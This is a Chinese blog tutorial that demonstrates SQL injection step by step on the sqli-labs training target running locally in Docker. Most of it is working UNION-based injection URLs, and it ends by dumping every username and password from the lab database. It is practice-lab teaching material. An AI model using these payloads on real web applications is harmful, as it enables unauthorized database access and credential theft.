我們都是善良的銀!一生戎碼只為行俠仗義,知道這個不是為了做啥非法的事,只是知道小偷怎么偷東西才能更好地防范。
SQL注入(SQL Injection),SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。
下面我們用sqli-labs這個開源項目來演示一下SQL注入盜取信息的全程。
sqli-labs是一個sql注入的練習靶機,項目地址為:/sqli-labs
源碼是用php寫的,這里我使用的是docker部署的,如下
這里我是去store.docker.com搜索的鏡像使用:https://hub.docker.com/r/acgpiano/sqli-labs,我們運行一下
docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest
運行后打開http://127.0.0.1:8089/,界面如下
這是一個闖關的課程,一個有22課,接下來我們只會用到Less-1來演示,也就是單引號注入,但是核心原理其實都是通過UNIONt和CONCAT出對應的數據盜取信息。
更多技巧可以參考這篇文章:SQL注入篇——sqli-labs最詳細1-75闖關指南
打開:http://127.0.0.1:8089/Less-1/,看到如下內容
我們輸入id:http://127.0.0.1:8089/Less-1/?id=1,顯示了id為1的用戶
對應的php源碼是這樣的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
相當於最后sql變成了
SELECT * FROM users WHERE id='1' LIMIT 0,1
知其然也知其所以然,歐耶~
數據庫結構
數據庫是這樣的
注入示例
下面使用Less-1的單引號注入來演示一下盜取信息的過程
我們把id改成:id=1' and 1=1 -- -
,訪問
http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -
可以正常訪問,說明可以用單引號注入,SQL語句相當於變成了
SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1
這就是傳說中的單引號注入,相當於構造出了下面這樣的語句
判斷共有多少字段
UNION SELECT 1,user(),database() -- -
通過orderby試探,order by是可以直接指定字段的列來排序的,所以可以挨個試,
比如當我們使用order by 5,訪問
http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -
報錯了,說明不對
當我們用order by 3的時候,正常返回了,訪問地址:
http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -
正常返回了,說明字段有3個。
判斷字段的顯示位置
UNION SELECT 1,2,3 -- -
我們構造一下,訪問
http://127.0.0.1:8089/Less-1/?id='UNION SELECT 1,2,3 -- -
分別顯示2和3,說明登錄名和密碼字段在2和3的位置
顯示登錄用戶和數據庫名
UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = 'security' ),3 -- -
已經匹配出了字段,接下來的所有用戶信息都需要經過UNION相等的列來獲取,訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,database(),user() -- -
我們看到當前使用的數據庫名叫security,連接的用戶是root超管
查看所有數據庫名
UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -
其實原理就是構造出了這樣的語句
我們看到了數據庫有information_schema、challenges、mysql、performance_schema、security
查看數據庫的所有表名
UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -
訪問如下
我們看到有emails、referers、uagents、users這四個表
查看表的所有字段
UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
可以看到用id、username、password3個字段
查看所有的用戶密碼
UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -
訪問
http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -
用戶名和密碼全出來了,厲害了我的哥!
到這里,我們就學會了怎么把對方所有的隱私load出來了,有點可怕啊!你學會了嗎!以上內容由chenqionghe提供,light weight baby!